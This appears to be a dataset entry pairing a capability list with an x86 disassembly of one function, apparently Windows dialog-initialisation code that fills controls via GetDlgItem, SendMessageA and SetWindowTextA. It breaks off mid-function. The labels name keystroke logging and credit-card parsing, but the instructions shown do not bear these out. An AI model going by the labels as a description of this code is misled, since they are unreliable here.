Function at 0x48ea08
Capabilities:
Authenticate hmac
Encrypt data using speck
Log keystrokes via application hook
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe68
mov dword [esp], edx
mov ebp, eax
mov byte [esp + 4], 0
mov eax, dword [0x4bebc8]
mov byte [eax], 1
mov eax, dword [esp]
mov dword [ebp], eax
mov eax, dword [0x4be490]
mov edx, dword [esp]
mov dword [eax], edx
mov dl, 1
mov eax, dword [esp]
call fcn.004b67c0
mov eax, dword [0x4bebc4]
movzx eax, word [eax]
mov ecx, 0x64
xor edx, edx
div ecx
cmp edx, 0x13
jne 0x48ea9a
cmp byte [ebp + 0x54], 0x42
jne 0x48ea6f
mov eax, dword [0x4be744]
cmp dword [eax], 0
je 0x48ea6f
mov eax, dword [0x4c2484]
cmp dword [eax + 4], 0
jne 0x48ea9a
push 0xfffffffffffffff0
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetWindowLongA
mov edx, dword [0x4be6b0]
mov dword [edx], eax
mov eax, dword [0x4be6b0]
mov eax, dword [eax]
and eax, 0xfffdffff
push eax
push 0xfffffffffffffff0
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowLongA
mov eax, dword [0x4bebc4]
movzx eax, word [eax]
mov ecx, 0x64
xor edx, edx
div ecx
cmp edx, 0x13
jne 0x48eac3
cmp byte [ebp + 0x54], 0x42
je 0x48eac3
mov eax, ebp
xor ecx, ecx
mov dx, 0xd
call fcn.004949d8
mov al, byte [ebp + 0x54]
cmp al, 0x29
je 0x48eae2
cmp al, 0x2a
je 0x48eae2
cmp al, 0x2b
je 0x48eae2
cmp al, 0x2c
je 0x48eae2
cmp al, 1
je 0x48eae2
cmp al, 0x52
je 0x48eae2
cmp al, 0x53
jne 0x48eaf2
push 0x64
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov dword [0x4c2488], eax
cmp byte [ebp + 0x54], 1
jne 0x48eb18
push 0x65
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov dword [0x4c248c], eax
push 0x66
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov dword [0x4c2490], eax
cmp byte [ebp + 0x54], 0x31
jne 0x48eb52
mov bl, 1
lea esi, [ebp + 0x48]
xor eax, eax
mov al, bl
add eax, 0xce
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov edi, eax
mov dword [esi], edi
push 0
push 0x14
push 0x141
push edi
call sub.user32.dll_SendMessageA
inc ebx
add esi, 4
cmp bl, 3
jne 0x48eb23
cmp byte [ebp + 0x54], 0x44
jne 0x48eb7e
push 0x30a
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov dword [ebp + 0x48], eax
push 0
push 0xff
push 0x141
mov eax, dword [ebp + 0x48]
push eax
call sub.user32.dll_SendMessageA
mov al, byte [ebp + 0x54]
cmp al, 0x20
je 0x48eb89
cmp al, 0x21
jne 0x48eb90
mov byte [esp + 0x30], 0x32
jmp 0x48ebcb
cmp al, 0x16
jne 0x48eb9b
mov byte [esp + 0x30], 0x13
jmp 0x48ebcb
cmp al, 0x17
jne 0x48eba6
mov byte [esp + 0x30], 0x16
jmp 0x48ebcb
cmp byte [ebp + 0x54], 0x11
je 0x48ebb2
cmp byte [ebp + 0x54], 0x14
jne 0x48ebb9
mov byte [esp + 0x30], 0x32
jmp 0x48ebcb
cmp byte [ebp + 0x54], 0x1e
jne 0x48ebc6
mov byte [esp + 0x30], 0xc
jmp 0x48ebcb
mov byte [esp + 0x30], 0x64
mov al, byte [ebp + 0x54]
cmp al, 0x11
je 0x48ec02
cmp al, 0x14
je 0x48ec02
cmp al, 0x15
je 0x48ec02
cmp al, 0x13
je 0x48ec02
cmp al, 0x1c
je 0x48ec02
cmp al, 0x1d
je 0x48ec02
cmp al, 0x16
je 0x48ec02
cmp al, 0x20
je 0x48ec02
cmp al, 0x21
je 0x48ec02
cmp al, 0x17
je 0x48ec02
cmp al, 0x1e
je 0x48ec02
cmp al, 0x4b
je 0x48ec02
cmp al, 0x4c
jne 0x48ec2a
push 0x30a
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov dword [ebp + 0x48], eax
push 0
xor eax, eax
mov al, byte [esp + 0x34]
push eax
push 0x141
mov eax, dword [ebp + 0x48]
push eax
call sub.user32.dll_SendMessageA
cmp byte [ebp + 0x54], 6
je 0x48ec3a
cmp byte [ebp + 0x54], 7
jne 0x48ece6
push 0x457
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov dword [ebp + 0x50], eax
mov eax, dword [0x4be784]
cmp byte [eax + 0x188c], 2
sete al
and eax, 0x7f
mov edx, dword [0x4be6b0]
mov dword [edx], eax
mov edi, 4
mov esi, dword [0x4be70c]
mov eax, dword [0x4be6b0]
mov eax, dword [eax]
add eax, eax
mov edx, dword [esi + eax*8]
mov eax, dword [ebp + 0x50]
call fcn.00486854
add esi, 4
dec edi
jne 0x48ec70
cmp byte [ebp + 0x54], 6
jne 0x48ecbc
mov eax, dword [0x4be6b0]
mov eax, dword [eax]
add eax, eax
mov edx, dword [0x4be70c]
lea eax, [edx + eax*8]
mov edx, dword [0x4be784]
movzx edx, byte [edx + 0x1907]
mov edx, dword [eax + edx*4]
mov eax, dword [ebp + 0x50]
call fcn.004868c0
jmp 0x48ece6
mov eax, dword [0x4be6b0]
mov eax, dword [eax]
add eax, eax
mov edx, dword [0x4be70c]
lea eax, [edx + eax*8]
mov edx, dword [0x4be784]
movzx edx, byte [edx + 0x1988]
mov edx, dword [eax + edx*4]
mov eax, dword [ebp + 0x50]
call fcn.004868c0
mov al, byte [ebp + 0x54]
cmp al, 0x11
je 0x48ed19
cmp al, 0x12
je 0x48ed19
cmp al, 0x14
je 0x48ed19
cmp al, 0x15
je 0x48ed19
cmp al, 0x13
je 0x48ed19
cmp al, 0x1c
je 0x48ed19
cmp al, 0x1d
je 0x48ed19
cmp al, 0x16
je 0x48ed19
cmp al, 0x20
je 0x48ed19
cmp al, 0x21
je 0x48ed19
cmp al, 0x17
je 0x48ed19
cmp al, 0x18
jne 0x48ed7a
push 0x457
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov dword [ebp + 0x50], eax
cmp byte [ebp + 0x54], 0x12
sete al
and eax, 0x7f
mov ebx, 2
sub ebx, eax
test ebx, ebx
jl 0x48ed5b
inc ebx
xor edi, edi
mov eax, edi
add ax, 0x293
call fcn.004aa600
mov edx, eax
mov eax, dword [ebp + 0x50]
call fcn.00486854
inc edi
dec ebx
jne 0x48ed42
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x18ad]
add ax, 0x293
call fcn.004aa600
mov edx, eax
mov eax, dword [ebp + 0x50]
call fcn.004868c0
cmp byte [ebp + 0x54], 0x19
jne 0x48edb7
push 0x457
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov dword [ebp + 0x50], eax
mov ax, 0x293
call fcn.004aa600
mov edx, eax
mov eax, dword [ebp + 0x50]
call fcn.00486854
mov ax, 0x293
call fcn.004aa600
mov edx, eax
mov eax, dword [ebp + 0x50]
call fcn.004868c0
cmp byte [ebp + 0x54], 0x14
je 0x48edc3
cmp byte [ebp + 0x54], 0x15
jne 0x48edeb
push 0x309
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov dword [ebp + 0x4c], eax
push 0
xor eax, eax
mov al, byte [esp + 0x34]
push eax
push 0x141
mov eax, dword [ebp + 0x4c]
push eax
call sub.user32.dll_SendMessageA
mov eax, dword [0x4bebc4]
mov ax, word [eax]
mov edx, dword [0x4be66c]
cmp ax, 0xff
ja 0x48ee07
and eax, 0xff
bt dword [edx], eax
setb al
test al, al
jne 0x48ee55
mov eax, dword [0x4be784]
cmp byte [eax + 0x188c], 3
je 0x48ee2f
mov ecx, dword [0x4be454]
mov eax, ebp
mov dx, 1
call fcn.00488934
jmp 0x48ee3f
mov ecx, 0x4948e0
mov eax, ebp
mov dx, 1
call fcn.00488934
mov ax, 5
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 2
call fcn.00488934
mov eax, dword [0x4bebc4]
movzx eax, word [eax]
mov ecx, 0x64
xor edx, edx
div ecx
mov eax, dword [0x4be8a0]
cmp edx, 0xff
ja 0x48ee76
bt dword [eax], edx
jae 0x48ee8e
mov ax, 9
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 3
call fcn.00488934
mov eax, dword [0x4be518]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetWindowRect
mov eax, dword [0x4be518]
mov eax, dword [eax + 8]
mov edx, dword [0x4be518]
sub eax, dword [edx]
mov edx, dword [0x4be9cc]
mov edx, dword [edx]
sub edx, eax
sar edx, 1
jns 0x48eebe
adc edx, 0
mov dword [esp + 5], edx
mov eax, dword [0x4be518]
mov eax, dword [eax + 0xc]
mov edx, dword [0x4be518]
sub eax, dword [edx + 4]
mov edx, dword [0x4beb7c]
mov edx, dword [edx]
sub edx, eax
sar edx, 1
jns 0x48eee4
adc edx, 0
sub edx, 0xa
mov dword [esp + 9], edx
cmp byte [ebp + 0x54], 0x1a
jne 0x48eef6
add dword [esp + 9], 0x64
push 0
mov eax, dword [0x4be518]
mov eax, dword [eax + 0xc]
mov edx, dword [0x4be518]
sub eax, dword [edx + 4]
push eax
mov eax, dword [0x4be518]
mov eax, dword [eax + 8]
mov edx, dword [0x4be518]
sub eax, dword [edx]
push eax
mov eax, dword [esp + 0x15]
push eax
mov eax, dword [esp + 0x15]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_MoveWindow
cmp byte [ebp + 0x54], 0x57
jne 0x48f0ce
mov ebx, dword [0x4bef50]
mov ebx, dword [ebx]
mov ax, 0x34c
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
lea ecx, [ebx + 8]
mov eax, ebp
mov dx, 0x69
call fcn.00488934
mov ecx, dword [ebx + 0x158]
mov eax, ebp
mov dx, 0x68
call fcn.00488934
lea eax, [esp + 0x28]
push eax
push ebx
call sub.kernel32.dll_FileTimeToLocalFileTime
lea eax, [esp + 0x28]
call fcn.00411604
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
lea eax, [esp + 0x28]
call fcn.004115bc
mov edx, eax
mov eax, dword [0x4beb38]
call fcn.004b81b0
push 0x4948ec
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4beb38]
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0x67
call fcn.00488934
mov ecx, dword [ebx + 0x154]
mov eax, ebp
mov dx, 0x66
call fcn.00488934
lea ecx, [ebx + 0x108]
mov eax, ebp
mov dx, 0x65
call fcn.00488934
mov dl, byte [ebx + 0x160]
mov eax, ebp
mov cx, 0xc9
call fcn.00488920
mov dl, byte [ebx + 0x161]
mov eax, ebp
mov cx, 0xca
call fcn.00488920
mov eax, ebp
xor ecx, ecx
mov dx, 0xcb
call fcn.004949d8
mov eax, ebp
xor ecx, ecx
mov dx, 0xcc
call fcn.004949d8
mov ax, 0x379
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x63
call fcn.00488934
mov ax, 0x37a
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x61
call fcn.00488934
mov ax, 0x37b
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x5e
call fcn.00488934
mov ax, 0x385
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x62
call fcn.00488934
mov ax, 0x37c
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x60
call fcn.00488934
mov edi, 1
mov ebx, edi
mov eax, ebx
add ax, 0x37d
dec eax
call fcn.004aa600
mov ecx, eax
mov edx, ebx
add dx, 0xc8
mov eax, ebp
call fcn.00488934
inc edi
cmp edi, 5
jne 0x48f0aa
cmp byte [ebp + 0x54], 0x58
jne 0x48f2fa
mov ebx, dword [0x4be650]
mov ebx, dword [ebx]
mov ax, 0x34e
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
lea ecx, [ebx + 0x108]
mov eax, ebp
mov dx, 0x65
call fcn.00488934
lea ecx, [ebx + 8]
mov eax, ebp
mov dx, 0x68
call fcn.00488934
mov ecx, dword [ebx + 0x150]
mov eax, ebp
mov dx, 0x6b
call fcn.00488934
mov eax, dword [0x4bee68]
cmp byte [eax], 6
jae 0x48f13a
mov eax, ebp
xor ecx, ecx
mov dx, 0x6b
call fcn.00489a04
mov ecx, dword [ebx + 0x154]
mov eax, ebp
mov dx, 0x66
call fcn.00488934
lea eax, [esp + 0x28]
push eax
lea eax, [ebx + 0x178]
push eax
call sub.kernel32.dll_FileTimeToLocalFileTime
lea eax, [esp + 0x28]
call fcn.00411604
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
lea eax, [esp + 0x28]
call fcn.004115bc
mov edx, eax
mov eax, dword [0x4beb38]
call fcn.004b81b0
push 0x4948ec
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4beb38]
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0x67
call fcn.00488934
push dword [ebx + 0x14c]
push dword [ebx + 0x148]
call fcn.004b21b4
mov ecx, eax
mov eax, ebp
mov dx, 0x6c
call fcn.00488934
cmp byte [ebx + 0x180], 0
jne 0x48f1f7
mov ax, 0x2a6
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 6
call fcn.00488934
jmp 0x48f20d
mov ax, 0x367
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 6
call fcn.00488934
mov al, byte [ebx + 0x180]
push eax
lea eax, [ebx + 0x181]
push eax
mov eax, ebp
mov cx, 0x69
mov dx, 0x5e
call fcn.0048e690
mov dl, byte [ebx + 6]
mov eax, ebp
mov cx, 0xc9
call fcn.00488920
mov eax, ebp
xor ecx, ecx
mov dx, 0xca
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0xcb
call fcn.00489a04
mov cl, byte [ebx + 5]
mov eax, ebp
mov dx, 6
call fcn.00489a04
mov ax, 0x381
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x63
call fcn.00488934
mov ax, 0x382
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x61
call fcn.00488934
mov ax, 0x383
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x60
call fcn.00488934
mov ax, 0x256
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x5b
call fcn.00488934
mov ax, 0x384
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x62
call fcn.00488934
mov ax, 0x385
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x5d
call fcn.00488934
mov ax, 0x37d
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xc9
call fcn.00488934
cmp byte [ebp + 0x54], 0x59
jne 0x48f373
mov ecx, dword [0x4be784]
add ecx, 0x1997
mov eax, ebp
mov dx, 0x64
call fcn.00488934
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1993]
mov eax, ebp
mov cx, 0x65
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1994]
mov eax, ebp
mov cx, 0x66
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1995]
mov eax, ebp
mov cx, 0x67
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1996]
mov eax, ebp
mov cx, 0x68
call fcn.00488920
cmp byte [ebp + 0x54], 0x52
je 0x48f383
cmp byte [ebp + 0x54], 0x53
jne 0x48f78c
call fcn.004aa1d8
mov ebx, dword [0x4bedac]
movzx ebx, byte [ebx]
test ebx, ebx
jle 0x48f435
mov edi, 1
mov esi, dword [0x4be77c]
mov eax, dword [0x4beb14]
mov dword [esp + 0x44], eax
mov edx, esi
mov eax, dword [0x4bedb0]
call fcn.004b81b0
push 0x4948f0
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [esp + 0x44]
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4948f4
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov edx, dword [0x4bedb0]
mov eax, dword [0x4c2488]
call fcn.00486854
mov edx, edi
dec edx
mov eax, dword [0x4be784]
add eax, 0x1960
call fcn.004aa450
cmp al, 1
jne 0x48f425
mov eax, edi
dec eax
push eax
push 1
push 0x185
mov eax, dword [0x4c2488]
push eax
call sub.user32.dll_SendMessageA
inc edi
add dword [esp + 0x44], 0x2e
add esi, 0x16
dec ebx
jne 0x48f3ad
mov ax, 0x2eb
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
cmp byte [eax + 0x442], 0
jne 0x48f48e
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
call fcn.004aed10
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
jmp 0x48f4b1
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x19d8]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x67
call fcn.00488934
mov ecx, dword [0x4be784]
add ecx, 0x400
mov eax, ebp
mov dx, 0x71
call fcn.00488934
mov ecx, dword [0x4be784]
add ecx, 0x194b
mov eax, ebp
mov dx, 0x68
call fcn.00488934
mov eax, dword [0x4be784]
movsx eax, byte [eax + 0x19c5]
add ax, 0x2bd
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x6a
call fcn.00488934
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov ebx, dword [edx + eax*4 - 4]
cmp byte [ebx + 0x442], 0
jle 0x48f5b5
movsx eax, byte [ebx + 0x442]
mov edx, dword [0x4be4fc]
cmp byte [edx + eax - 1], 1
je 0x48f5c4
movsx eax, byte [ebx + 0x442]
mov edx, dword [0x4be4fc]
cmp byte [edx + eax - 1], 2
je 0x48f5c4
movsx eax, byte [ebx + 0x442]
mov edx, dword [0x4be4fc]
cmp byte [edx + eax - 1], 3
je 0x48f5c4
movsx eax, byte [ebx + 0x442]
mov edx, dword [0x4be4fc]
cmp byte [edx + eax - 1], 0xff
je 0x48f5c4
mov eax, ebp
xor ecx, ecx
mov dx, 0x65
call fcn.004949d8
jmp 0x48f5e6
mov eax, dword [0x4be784]
movsx eax, byte [eax + 0x19c4]
add ax, 0x344
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcc
call fcn.00488934
cmp byte [ebp + 0x54], 0x53
jne 0x48f668
mov eax, ebp
mov cx, 0xc9
mov dl, 1
call fcn.00488920
mov eax, ebp
xor ecx, ecx
mov dx, 0xc9
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x65
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0xcc
call fcn.00489a04
mov ax, 0x345
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcc
call fcn.00488934
mov eax, ebp
xor ecx, ecx
mov dx, 0x69
call fcn.00489a04
mov eax, ebp
xor ecx, ecx
mov dx, 0x6a
call fcn.00489a04
mov ax, 0x2be
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x6a
call fcn.00488934
jmp 0x48f697
cmp byte [ebx + 0x442], 0
jle 0x48f68a
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1991]
mov eax, ebp
mov cx, 0xc9
call fcn.00488920
jmp 0x48f697
mov eax, ebp
xor ecx, ecx
mov dx, 0xc9
call fcn.004949d8
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1935]
mov eax, ebp
mov cx, 0xcb
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x1980]
mov eax, ebp
mov cx, 0xcd
call fcn.00488920
mov eax, ebp
mov dx, 0xc9
call fcn.00497994
test al, al
je 0x48f708
mov eax, ebp
xor ecx, ecx
mov dx, 0xa
call fcn.004949d8
mov eax, ebp
xor ecx, ecx
mov dx, 0x71
call fcn.004949d8
mov eax, ebp
xor ecx, ecx
mov dx, 4
call fcn.004949d8
mov eax, ebp
xor ecx, ecx
mov dx, 0xcd
call fcn.004949d8
cmp byte [ebp + 0x54], 0x52
jne 0x48f77f
mov eax, dword [0x4be784]
cmp byte [eax + 0x19c7], 0
je 0x48f73e
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
jne 0x48f742
xor edx, edx
jmp 0x48f744
mov dl, 1
mov eax, ebp
mov cx, 0x324
call fcn.00488920
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
setne cl
mov eax, ebp
mov dx, 0x324
call fcn.00489a04
jmp 0x48f78c
mov eax, ebp
xor ecx, ecx
mov dx, 0x324
call fcn.004949d8
cmp byte [ebp + 0x54], 0x3f
jne 0x48f8f2
mov edi, 2
mov eax, dword [0x4be784]
add eax, 0x18f8
mov dword [esp + 0x44], eax
mov ecx, edi
add cx, 0x63
mov eax, dword [esp + 0x44]
mov dl, byte [eax]
mov eax, ebp
call fcn.00488920
inc edi
inc dword [esp + 0x44]
cmp edi, 0x11
jne 0x48f7a9
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18d6]
mov eax, ebp
mov cx, 9
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18d3]
mov eax, ebp
mov cx, 0x63
call fcn.00488920
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18f0]
mov eax, ebp
mov cx, 0x62
call fcn.00488920
mov ecx, dword [0x4be784]
mov cl, byte [ecx + 0x1905]
mov eax, ebp
mov dx, 0x62
call fcn.00489a04
mov ecx, dword [0x4be784]
mov cl, byte [ecx + 0x1905]
mov eax, ebp
mov dx, 0x63
call fcn.00489a04
mov edx, dword [0x4be784]
mov dl, byte [edx + 0x18e1]
mov eax, ebp
mov cx, 0xa
call fcn.00488920
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x188d]
push eax
push 0x64
mov eax, dword [ebp]
push eax
call sub.user32.dll_CheckDlgButton
mov eax, dword [0x4be784]
fild word [eax + 0x183a]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov eax, dword [0x4be784]
movzx eax, word [eax + 0x1872]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x30b
call fcn.00488934
mov eax, dword [0x4be784]
movzx eax, word [eax + 0x1876]
mov dword [esp + 0x160], eax
fild dword [esp + 0x160]
add esp, 0xfffffff8
fistp qword [esp]
wait
call fcn.004b849c
mov ecx, eax
mov eax, ebp
mov dx, 0x30c
call fcn.00488934
cmp byte [ebp + 0x54], 0x37
jne 0x48f943
mov ax, 0x268
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ax, 0x15e
call fcn.004aa600
mov edx, dword [0x4bedd4]
mov edx, dword [edx]
call fcn.004ae1b0
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov ecx, dword [0x4be6a8]
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
cmp byte [ebp + 0x54], 0x4b
je 0x48f953
cmp byte [ebp + 0x54], 0x4c
jne 0x48fa83
mov ax, 0x30e
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
push 0
push 8
push 0x141
mov eax, dword [ebp + 0x48]
push eax
call sub.user32.dll_SendMessageA
cmp byte [ebp + 0x54], 0x4b
jne 0x48f9f9
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x1780]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov dl, 8
xor eax, eax
call fcn.004af0b0
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov ax, 0x2d2
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
push 0
push 0
mov dl, 8
xor eax, eax
call fcn.004af0b0
mov edx, eax
mov eax, dword [ebp + 0x48]
call fcn.00486854
mov edx, dword [0x4bedb0]
mov eax, dword [ebp + 0x48]
call fcn.00486854
jmp 0x48fa72
mov eax, dword [0x4be784]
mov eax, dword [eax + 0x1784]
mov dword [esp + 0x158], eax
xor eax, eax
mov dword [esp + 0x15c], eax
fild qword [esp + 0x158]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov dl, 8
xor eax, eax
call fcn.004af0b0
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov ax, 0x30f
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov edx, dword [0x4bedb0]
mov eax, dword [ebp + 0x48]
call fcn.00486854
push 0
push 0xffffffffffffffff
mov dl, 8
xor eax, eax
call fcn.004af0b0
mov edx, eax
mov eax, dword [ebp + 0x48]
call fcn.00486854
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
cmp byte [ebp + 0x54], 0x1a
jne 0x48fb1c
mov ax, 0x387
call fcn.004aa600
mov edx, dword [0x4be784]
movzx edx, byte [edx + 0x188c]
mov ecx, dword [0x4be9dc]
lea edx, [ecx + edx*4]
call fcn.004ae1b0
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov eax, dword [0x4be504]
cmp byte [eax], 0
jne 0x48fae3
mov ax, 0x10c
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
jmp 0x48faf8
mov ax, 0x10e
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov ax, 0x38d
call fcn.004aa600
push eax
mov eax, dword [0x4bedb0]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
cmp byte [ebp + 0x54], 0x49
je 0x48fb2c
cmp byte [ebp + 0x54], 0x4a
jne 0x48fbef
mov eax, dword [0x4be374]
mov dl, 1
call fcn.00407928
mov ecx, dword [0x4be374]
mov eax, ebp
mov dx, 0x30a
call fcn.00488934
mov ecx, dword [0x4be374]
mov eax, ebp
mov dx, 0x30b
call fcn.00488934
push 0
push 0x11
call sub.gdi32.dll_GetStockObject
push eax
push 0x30
push 0x30a
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
push eax
call sub.user32.dll_SendMessageA
push 0
push 0x11
call sub.gdi32.dll_GetStockObject
push eax
push 0x30
push 0x30b
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
push eax
call sub.user32.dll_SendMessageA
mov eax, dword [0x4be374]
xor edx, edx
call fcn.00407928
mov ax, 0x281
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov ax, 0x282
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0xd0
call fcn.00488934
cmp byte [ebp + 0x54], 0x4a
sete al
and eax, 0x7f
add ax, 0x16c
call fcn.004aa600
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
cmp byte [ebp + 0x54], 0x4d
jne 0x48ff5a
mov ecx, dword [0x4beea8]
mov eax, ebp
mov dx, 0x30c
call fcn.00488934
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
cmp byte [eax + 0x442], 0
setne al
and eax, 0x7f
add ax, 0x322
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov eax, dword [0x4bedb0]
xor edx, edx
call fcn.0048629c
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
